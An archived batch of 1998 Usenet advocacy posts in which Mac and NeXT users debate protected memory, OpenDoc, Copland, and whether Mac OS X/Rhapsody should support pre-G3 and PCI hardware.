References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <Josh.McKee-2107981925440001@pm3a2.rmac.net> <gmgraves-2207981043260001@sf-usr1-22-150.dialup.slip.net> <6p5mqd$nsu$1@nnrp1.dejanews.com> <Josh.McKee-2307981810170001@pm3a8.rmac.net> <6p9acg$o8n$1@nnrp1.dejanews.com> <joe.ragosta-2507981956290001@elk82.dol.net> <6phbrl$ibc$1@nnrp1.dejanews.com> <6pim7q$6sg$1@supernews.com> <6pisq8$jtg$1@nnrp1.dejanews.com> <joe.ragosta-2807980911080001@wil43.dol.net> <35c4e136.45677265@news.mindspring.com> <joe.ragosta-3107981049230001@wil31.dol.net> <1dd21m3.1foqfdd99698qN@dialup112-2-9.swipnet.se>
In article <1dd21m3.1foqfdd99698qN@dialup112-2-9.swipnet.se>,
lars.farm@ite.mh.se (Lars Farm) wrote:
> Joe Ragosta <joe.ragosta@dol.net> wrote:
>
> > Why is it inappropriate?
> >
> > A programmer who made that error would find it the first time he tested
> > the program. He'd fix it, and it would be over.
>
> Without protected memory this class of error can go undetected for quite
> a while. Well past testing. You do have errors like that in more than
> one program on your disk. The example had address 0, in reality it is an
> arbitrary address. Causes harm sometimes and other times not. With
> protected memory any access outside the app is detected directly.
If it survives past testing, then it's probably not going to come up very often.
I'm still waiting for evidence that Macs crash more than Win95. No one's
ever provided any.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 98 17:17:01 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7AC90-67FF1@206.165.43.145>
References: <6pspgb$ecf$1@news.spacelab.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
Charles W. Swiger <chuck@codefab.com> said:
>> Bento was originally meant to be available for LOTS of purposes.
>
>The key word there is "originally".
>
>I stand by my point-- if I put ASCII text into a fancy storage system, I
>wanna be able
>to edit it with whatever plain old ASCII editor I wish. Ditto for Word
>documents, or
>TIFF's, or anything else.
Hmmm...
You can edit a Word 6.1 document with a text-editor without first saving it
as ASCII or RTF?
Gee, I can do that with a Bento document too. You just have to skip all the
garbage characters until you find the plain text, same as a Word 6.1
document...
Oh, you mean *export* to a plain-text document. That's the responsibility
of the individual parts, not OpenDoc.
>
>>For instance, if I select a graphic in a web-page and move it to another
>>position in the web-page, does HTML allow one to do this AND to edit its
>>content in the new position?
>
>You're changing the changing the point from the original issue. But the
>answer is yes,
>because the position in a web-page is loosely bound to the storage
location
>of that
>image on a filesystem.
>
So, if I, as an end-user, go to a web-site and move a graphic around the
web-page on my machine, the graphic will embed itself in the new place in
the live web-page?
Kool. I guess I've been using the wrong web-browsers since it has never
worked with any that I've tried it with...
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Is Apple designing for acceptance?
Date: 31 Jul 98 17:19:11 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7AD11-69E47@206.165.43.145>
References: <6pt8sv$53l@newsb.netnews.att.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.advocacy
gupta@kcopsrm.tm.tta.moc-mirror said:
>Exactly. Which is why HTML, though much less rich than OpenDoc,
>is "superior" to OpenDoc. In case of what you mentioned about GXMagic,
>if it can't print, and I can't put it on the Web, can't email to anyone
>who doesn't have GXMagic, what good is it ?
Demos are seldom meant to be "good" at something. GX Magic prints just
fine, or so I would guess, if you have the commercial version.
I don't produce stuff to
>sit and stare at by myself. I produce stuff in order to communicate.
>On the other hand, the few hours that I spent writing my own
>troff -> HTML converter (we have a LOT of troff around these parts) has
>been extremely useful.
So, what can you do with HTML if you don't have that TIFF graphics display
engine?
You appear to be trying to find flaws in OpenDOc which are inherent "flaws"
in ANY system.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 1 Aug 1998 00:21:18 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6ptn1u$jjv$1@lwnws01.ne.highway1.com>
macghod@concentric.net (Steve Sullivan) wrote:
> In article <6pm5nd$a5v$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> wrote:
>
> > Um, no I wasn't. I didn't have to win much in the way of money.
> > $1 would have been enough if he contended it, b/c it would have
> > cost him dearly; I believe it should cost you something in the
> > end if you mischaracterize what others say with no admission
> > of fault or remorse
>
> And how would $1 cost him dearly? Because the judge agreed with
> you that he was acting inappropriately and your good name was
> polished by the judge? I dont think so, Joe would just claim
> the judge is a pc using wintel troll who was out to get him
> because macs gave the judge a inferiority complex ;)
I was thinking more along the lines of transaction costs. I hadn't thought
of that possiblity. :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: freek@phil.uu.nl (Freek Wiedijk)
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 1998 17:09:37 +0200
Organization: Department of Philosophy, Utrecht University, The Netherlands
Message-ID: <6psmnh$2oa$1@larry.admin.phil.uu.nl>
References: <MPG.10297cfc5259ba1989a41@news.supernews.com> <6pp7uo$knq$1@larry.admin.phil.uu.nl> <MPG.102a39e0cc43cdbb989a47@news.supernews.com> <6prtnt$3a$1@larry.admin.phil.uu.nl> <MPG.102b903b3a3ef5c5989a5e@news.supernews.com>
Mime-Version: 1.0
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Donald:
>My understanding was that Copland was supposed to give old apps the
>benefit of the new system. There wouldn't be a blue box or equivalent,
>somehow Copland was supposed to provide PM and PMT into the MacOS API as
>it existed.
It seems improbable to me that they ever promised something
like that. Anyone who really knows this?
Freek
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 00:35:32 GMT
Organization: Steel Driving Software
Message-ID: <01bdbd38$404f50c0$97b5dccf@samsara>
References: <35c1d9b6.0@news.depaul.edu> <B1E7A648-5062B@206.165.43.145>
Lawson English <english@primenet.com> wrote in article
<B1E7A648-5062B@206.165.43.145>...
> Jonathan W Hendry <jhendry@shrike.depaul.edu> said:
>
> >> If I were a developer, sure. However, I doubt if that would be the
case.
> If
> >> Rhapsody 1.0 is only going to work with a limited subset of PCI
hardware
> >> than Apple is REALLY screwed since the promised, over and over again,
> >that
> >> it would be working with ALL PCI hardware.
> >
> >No Lawson, they promised it would run on all PCI Macs. They never
> >promised anything about PCI peripherals.
>
>
>
> Snicker. Then why would anyone have bought a PCI Mac if they had an
inkling
> that the new OS wouldn't work with the PCI peripherals?
Lawson, you don't understand. As usual.
First, some set of PCI devices will work - a set useful for a role as
a server. Apple is not going to support every PCI device available,
because many devices aren't targeted for servers.
Second, there will be little incentive for companies to write Rhapsody
drivers, unless their products are useful in servers.
End result: many PCI devices won't work with (or, rather, will be
ignored by) Rhapsody.
From: asiufy@uol.com.br (Alexandre A. S.)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 11:26:56 -0300
Organization: Oi!
Message-ID: <asiufy-3107981127000001@200.229.243.215>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <35C14EB8.6976DA87@earthlink.net> <joe.ragosta-3107980850440001@wil31.dol.net>
Mail-Copies-To: asiufy@uol.com.br
r9;SSdvI;]1VVf
In article <joe.ragosta-3107980850440001@wil31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> In article <35C14EB8.6976DA87@earthlink.net>, jontemple@earthlink.net wrote:
>
> > Joe Ragosta wrote:
> >
> > > In article <35BF17D2.C02B6554@earthlink.net>,
jontemple@earthlink.net wrote:
> > >
> > > Big deal. Mach runs on PCI Macs. Getting the kernel to run is probably the
> > > easiest part of the job. When you can show Yellow Box and IOkit and Blue
> > > Box and Carbon and PDF running on pre-G3 PCI Macs, you might have an
> > > argument.
> >
> > Actually, Joe, I have one HELL of an argument. The kernel IS the hardest
> thing. And
> > the work has already been done. Those others things you mention really
> only need to
> > be written once --- it's all one big processor family with PPC remember?
> The Mach 3
> > microkernel handles an awful lot of the machine-specific interface,
providing
> > hardware abstraction. Once you have the microkernal, the rest is much
easier.
>
> I think you're way off base if you think getting the kernel to run on a
> new architecture is the hardest part.
>
> Getting all the drivers to work, getting the graphics architecture to
> work, getting the new set of APIs to work, and testing it all is a much
> bigger job than merely getting the kernel to work.
Joe's right... Just ask the folks at Be... Drivers are the single
most problematic factor these days, specially on the Wintel front, with
all the different vendors and peripherals...
--
---
ciao!
asiufy@uol.com.br
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: 31 Jul 1998 23:02:09 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6ptidh$8hv$2@news02.btx.dtag.de>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ovhg8$qsp@newsb.netnews.att.com> <Josh.McKee-2107981856040001@pm3a15.rmac.net> <6p45f7$l73$1@nnrp1.dejanews.com> <Josh.McKee-2307981802510001@pm3a8.rmac.net> <6p9ami$olq$1@nnrp1.dejanews.com> <Josh.McKee-2407981743100001@pm3a13.rmac.net> <6pc9b1$8qd$1@nnrp1.dejanews.com> <Josh.McKee-2507980855240001@pm3a23.rmac.net> <35bfb853.101529031@198.0.0.100> <Josh.McKee-2707982201130001@pm3a20.rmac.net>
Mime-Version: 1.0
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> In article <35bfb853.101529031@198.0.0.100>, nhughes@sunflower.com (nate)
> wrote:
>
> > I used one of the macs to download a network driver the other day. I
> > found the driver and clicked to start the download. When the "save
> > as" dialog came up I realized I needed a diskette so I grabbed one of
> > the ones I had laying around and put it in the drive. I then tried to
> > go to the finder to see what else was on the diskette. Try as I may,
> > the finder would not come up until I closed the dialog box. How
> > exquisitely lame.
Yup. To see what's on the disk, you don't have to switch to the Finder.
How totaly lame.
Lars T.
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.system,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 18:14:12 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7B9F7-9A64B@206.165.43.145>
References: <MPG.102c1162aed4a1bb989a66@news.supernews.com>
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nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.mac.advocacy
Donald Brown <don.brown@cesoft.com> said:
>Copland, however, was going to MAKE the MacOS API have all this wonderful
>stuff and so your old program from 1990 off the shelf would be a full
>wonderful client of Copland without any recoding at all.
>
That's not true. All apps with a human interface would run in the same
"blue box." (different than MacOS X's Blue Box). NONE of these HI apps
would be pre-emptive with each other, but only with spawned processes
(tasks) which would each live in their own pre-emptive, memory protected
process.
Copland would have worked, but it wouldnt have been very easy to do in
comparison with a single process running MacOS 8.x on top of the Mach
kernel (the Rhapsody/X "Blue Box") with NEW apps using a new API
(Carbon/YB) and having full PMT/MP for the new apps only.
Copland was doable, I'm sure (rumors are that it WAS running quite nicely
and that the decision to can it had to do with preceived non-competiveness
against Windows NT rather than practicality of implementation). Carbon/YB/X
is likely more easily accomplished but I am pretty certain that we would
have already had Copland by now, but would STILL be worrying about a
Gershwin-level OS (which Rhapsody/MacOS is).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 31 Jul 98 18:17:25 -0700
Organization: Frontier GlobalCenter Inc.
Message-ID: <B1E7BAB9-9D3D5@206.165.43.145>
References: <01bdbd38$404f50c0$97b5dccf@samsara>
Mime-Version: 1.0
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Content-Transfer-Encoding: 7bit
nntp://news.primenet.com/comp.sys.mac.system,
nntp://news.primenet.com/comp.sys.next.advocacy
Jonathan Hendry <jhendry@cmg.fcnbd.com> said:
>Lawson, you don't understand. As usual.
>
Such a polite crew, these NeXT people.
>First, some set of PCI devices will work - a set useful for a role as
>a server. Apple is not going to support every PCI device available,
>because many devices aren't targeted for servers.
>
But Rhapsody was NEVER presented to developers or end-users or stockholders
or the press as a "server" OS, but as the "next-generation OS" from Apple.
The "next-generation OS from Apple" had better support all the devices that
the last-generation OS did.
>Second, there will be little incentive for companies to write Rhapsody
>drivers, unless their products are useful in servers.
>
But Rhapsody was never presented as a serverOS until a few months ago when
history was rewritten.
>End result: many PCI devices won't work with (or, rather, will be
>ignored by) Rhapsody.
End result: history was rewritten and you're smiling about it.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
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----------------------------------------------------------------------
From: "Jonathan Hendry" <jhendry@cmg.fcnbd.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: 1 Aug 1998 01:37:21 GMT
Organization: Steel Driving Software
Message-ID: <01bdbd40$e3742c00$47b5dccf@samsara>
References: <andyba-ya02408000R3107981030580001@news> <1998080101261100.VAA09290@ladder03.news.aol.com>
WillAdams <willadams@aol.com> wrote in article
<1998080101261100.VAA09290@ladder03.news.aol.com>...
> Let's see...
>
> Reasons why OpenStep or Mac OS X Server/user (or whatever they'll call
the
> commercial release) wouldn't work well on the Mitsubishi Amity SP Pen
> slate/dockable system.
>
> No keyboard when mobile, no handwriting recognition--how does one enter
text?
Get a port of Graffiti done. Or, in a pinch, use an on-screen virtual
keyboard. Though clunky, it can be faster in some cases.
> As I've noted before, a UI dependent on dragging things around is awkward
with
> a stylus, and one with menus at the top of the screen means much of it is
> obscured by one's hand when making menu actions.
So put the menubar at the bottom, opening upward.
> MJP - rather than NeXT Nazis, how about an efficiency expert observing
that by
> arranging the menu vertically instead of horizontally, one then has room
for
> three entries (print, hide and quit) which may then be accessed in a
quicker
> fashion, point and click instead of point, click/drag/release?
In other words, the same reason there are toolbars. The menu, however,
uses standard words and locations, rather than icons.
> Having Application and document tiles the same size allows them to
coexist
> efficiently on-screen--it'd be interesting if documents had been the size
of
> two icons connected horizontally, but that would offend my sense of
aesthetics,
> ,and likely that of others as well.
Less space-efficient, too, for no really good reason. The current system,
where App tiles just have the app icon, and document tiles have a document
icon and a title-bar-like strip at the top with the document title, works
well. You've got a title, and a different icon.
From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Sat, 1 Aug 1998 13:10:04 +1000
Organization: University of Queensland
Message-ID: <6pu0uk$hak$1@bunyip.cc.uq.edu.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <pxpst2-2007981409410001@pelli.pathology.pitt.edu> <joe.ragosta-2007982108170001@elk57.dol.net> <35BF1822.3E94CE81@earthlink.net> <joe.ragosta-2907982111520001@elk76.dol.net> <35C14DC2.74ADCDA0@earthlink.net> <6psofk$eb6$1@news.spacelab.net> <35C1F3A8.2B36FFA2@exu.ericsson.se> <geh-3107981123110001@odo.safe.internal>
Graeme Hiebert <geh@safe.com> wrote in message
geh-3107981123110001@odo.safe.internal...
>In article <35C1F3A8.2B36FFA2@exu.ericsson.se>, Michael.Peck@Ericsson.com
wrote:
>
>> Charles W. Swiger wrote:
>>
>> > That's true as far as it goes. But that's *not* the original point,
which
>> > was the comparison of a 386 to a Mac IIsi, quoted above by ">>>>".
>> >
>> > If you upgrade the processor, you don't have a 386.
>>
>> If you put a Radius Rocket into a IIsi, do you still have a IIsi? Maybe,
>> maybe not. Either way, it won't run OS X.
>>
>> MJP
>
>And any upgrade to the 386 short of replacing the motherboard and
>processor -- the equivalent of putting a whole new computer into an old
>case -- will not run NT 5.0, which will be much more comparable to MacOS X
>than will be Win95 (which, by the way, is no longer a current Microsoft
>product.)
I think you're missing the point.
The 386 will be a *15 year* old machine when NT5 comes out, whilst Apple is
talking about not supporting MacOS X on machines that were still being sold
less than a year ago.
The worst NT5 will be is Pentium and up (I'm betting 486 and up), this would
mean NT5 will be supporting machines made *7* years before it's release -
which is still a hell of a lot more than *2*, if you go 486 and up (most
likely), you're looking at machines that will be about *10* years old.
Not supporting MacOS X on pre-G3 machines is just blatant greed from Apple,
there is no technical reason why Apple could not support, at the very least,
all *Apple* PCI Powermacs.
> -g
>--
>I'm not trying to say that marriage is a prison. Cause it's not, you
>know in prison you get regular sex.
>
> -John Wing, Jr.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 03:34:41 GMT
Organization: University of California at San Diego
Message-ID: <slrn6s536h.mhm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <B1DA7956-48FFC@206.165.43.17> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <35b6568f.0@news.depaul.edu> <mcox-ya02408000R2307981829100001@newsource.ihug.co.nz> <not-2307981027360001@ip-26-096.phx.primenet.com> <Pine.SOL.3.96.980723133426.10555A-100000@ux9.cso.uiuc.edu> <not-2307981300150001@ip-167-019.phx.primenet.com> <Pine.SOL.3.96.980723150745.6484A-100000@ux9.cso.uiuc.edu> <not-2407981240410001@ip-26-162.phx.primenet.com> <Josh.McKee-2407982009140001@pm3a13.rmac.net>
On Fri, 24 Jul 1998 20:09:13 -0600, Joshua T. McKee <Josh.McKee@cbns.com> wrote:
:If OS 8.x and above is "just fine" for the "majority of Mac users", then
:why is it so important that Apple release OS X sooner than later when
:releasing it sooner means it will not run on some very recent hardware?
Because full OSX may appeal to those people who have left Macintosh
because of inferior operating system architecture, and who have left Apple
because of the previous management inability to rectify this situation.
Timely release of OSX speaks louder to these people than supporting
more Macs which aren't sold any more.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Michael Peck <eusmpec@exu.ericsson.se>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 31 Jul 1998 11:36:44 -0500
Organization: Ericsson Inc.
Message-ID: <35C1F29C.15D02625@exu.ericsson.se>
References: <35c15e97.0@nnrp1.news.uk.psi.net> <23935-35C18CB9-174@newsd-124.bryant.webtv.net> <35c1cc00.0@nnrp1.news.uk.psi.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Richard Frith-Macdonald wrote:
> I agree with the point that the stuff on the top-level should be what the user
> needs/wants to get to quickly.
I don't think that this is the point. Maybe I'm the only one, but I
think that using the menu mechanism as an accelerator is a mistake for
the very reason that there are better, other, separate mechanisms
designed for that. And while you may claim "I'm only *adding*
functionality", by blurring the lines of distinction you are only
degrading the whole picture.
The menu mechanism is designed to categorize and contain actions; every
empirical action performed within the application should be held within
the menus, and they should be organized so as to facilitate user
understanding of the purpose and application of those commands.
When the need arises for a fast way of getting to those commands,
another mechanism should be employed as a shortcut. The menu mechanism
should never be compromised because it is not necessary. If you need
multiple actions available on-screen in a customizable, pictorial
fashion, use a toolbar. If you just need individual actions mapped to
keystrokes, that's what accelerator keys are for. If you need
context-sensitive commands grouped together and available according to
mouse click, context-sensitive pop-up menus are the mechanism to use.
This is all designed to be redundant and specific to a particular task.
That very redundancy makes the whole greater than the sum of its parts:
by providing a database of commands, then providing a series of
orthogonal accessors, you can give the user complete, thorough coverage
of the command set.
[cut]
> Quit
> I hardly ever use this, and don't think it belongs at the lop level. However,
> I have heard (and can to some extent sympathise with) the argument that new
> users need to be able to easily see at a glance how to quit, for the sake of
> their peace-of-mind.
There are ways to accomplish this without breaking the interface. Adding
Human Interface Guideline that suggested an explicit Quit button in the
main window would be a good start. I don't have any research in front of
me to suggest that not being able to quit is a major interface
challenge, so I can't say one way or the other whether this is a good
idea.
> Hide
> I use this very frequently because I work with LOTS of applications running.
> If not the most frequently used item, it's certainly in the top three along
> with 'Document' and 'Services'
I use keyboard shortcuts to do this. If I had to use a mouse, I'd want a
context-sensitive menu for this, perhaps activated by a right-click on
the title bar of any application window: "Hide this application" and
"Hide this window" and "Hide all other applications". Not as fast as
keyboard shortcuts, but some people prefer the mouse.
When I used NeXTstep I also used Command-H to do this. Having Hide at
the top-level of the menus doesn't seem very helpful.
> Print
> Almost never - but I know of users (editors and designers) who use it extremely
> frequently to get a print preview of what they are working on. For those users
> a 'preview' button at top-level would be good.
Almost all office-type apps have both Print and Print Preview in the
toolbar. Most UIs also have Command-key shortcuts for this. There's no
point in bastardizing the menu system for these, either.
MJP
From: "Earl Malmrose" <earl.malmrose@nospam.sierra.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 10:09:27 -0700
Organization: Sierra On-Line, Inc.
Message-ID: <6psua5$dj9$1@plo.sierra.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <slrn6r7n34.16k.jason@jhste1.dyn.ml.org> <joe.ragosta-2007982111440001@elk57.dol.net> <slrn6r8dnf.290.jason@jhste1.dyn.ml.org> <joe.ragosta-2107980809550001@0.0.0.0> <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se> <joe.ragosta-3107980845370001@wil31.dol.net>
NNTP-Posting-Date: 31 Jul 1998 17:19:01 GMT
Joe Ragosta wrote in message ...
>In article <1dcj3le.wgbb77nigvjN@du137-242.ppp.algonet.se>,
>qwerty.x@algonet.se (Magnus Thoor) wrote:
>> Yes, it is. Please explain why 8.1's lacking PM has anything to do with
>> the fact that it's possible to intenionally sabotage Win95.
>
>Very simple. It's possible to make either one crash if you do something
>stupid. In the case of the Mac, if the programmer does something stupid,
>it can crash. In the case of Windows, if the user does something stupid,
>the entire OS can be wiped out.
Are you claiming that a user can't wipe out MacOS?
And its much, much, much easier for a programmer to do something stupid and
kill MacOS than it is to kill Windows.
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 1 Aug 1998 03:43:53 GMT
Organization: University of California at San Diego
Message-ID: <slrn6s53nq.mhm.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <joe.ragosta-3007981652140001@wil78.dol.net> <B1E65D97-2B407@206.165.43.108>
On 30 Jul 98 17:27:48 -0700, Lawson English <english@primenet.com> wrote:
:Joe Ragosta <joe.ragosta@dol.net> said:
:
:>
:>Should be. In a perfect world. In a real world, it needs to be tested.
:Which is what we've ALL been saying: it is the TESTING that is the issue.
:And you CAN throw more bodies at testing and see the reduction in time
:scale linearly.
So you find more situations where "Hey, this computer locks up completely,
but only some of the time, when I'm doing lots of work. No it's not
reproducible, but I swear, it locked up three times today."
That's what a hardware dependent kernel bug looks like.
Finding the bug and correcting it (and correcting it in a way which
doesn't break other machines) requires major kernel gurus who are very
familiar with the code and are very smart, and this doesn't scale linearly.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Fri, 31 Jul 1998 18:10:13 GMT
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6pt1a4$2md$1@nnrp1.dejanews.com>
References: <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <see-below-2007981842580001@dynamic53.pm04.mv.best.com> <slrn6r80fd.3ku.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <35BF17D2.C02B6554@earthlink.net> <joe.ragosta-2907980926260001@wil64.dol.net> <Pine.SOL.3.96.980730143443.22326B-100000@ux5.cso.uiuc.edu> <joe.ragosta-3107980849010001@wil31.dol.net>
In article <joe.ragosta-3107980849010001@wil31.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> Apple's NOT saying that they're having problems with the kernel.
Good.
> Mac OS X is not being supported on pre-G3 machines. It's NOT a kernel
> issue. It's an issue of IOkit, PDF, Carbon, etc. You're essentially
> agreeing with me. The fact that the kernel already runs on pre-G3 machines
> is meaningless. What needs to happen is for all the other parts of
> Rhapsody to run on pre-G3 machines--and that's the hard part. That's
> exactly what I was saying.
Why do you think that PDF and Carbon are an issue? Neither of those things
should touch the hardware directly.
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
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From: quinlan@intergate.bc.ca
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
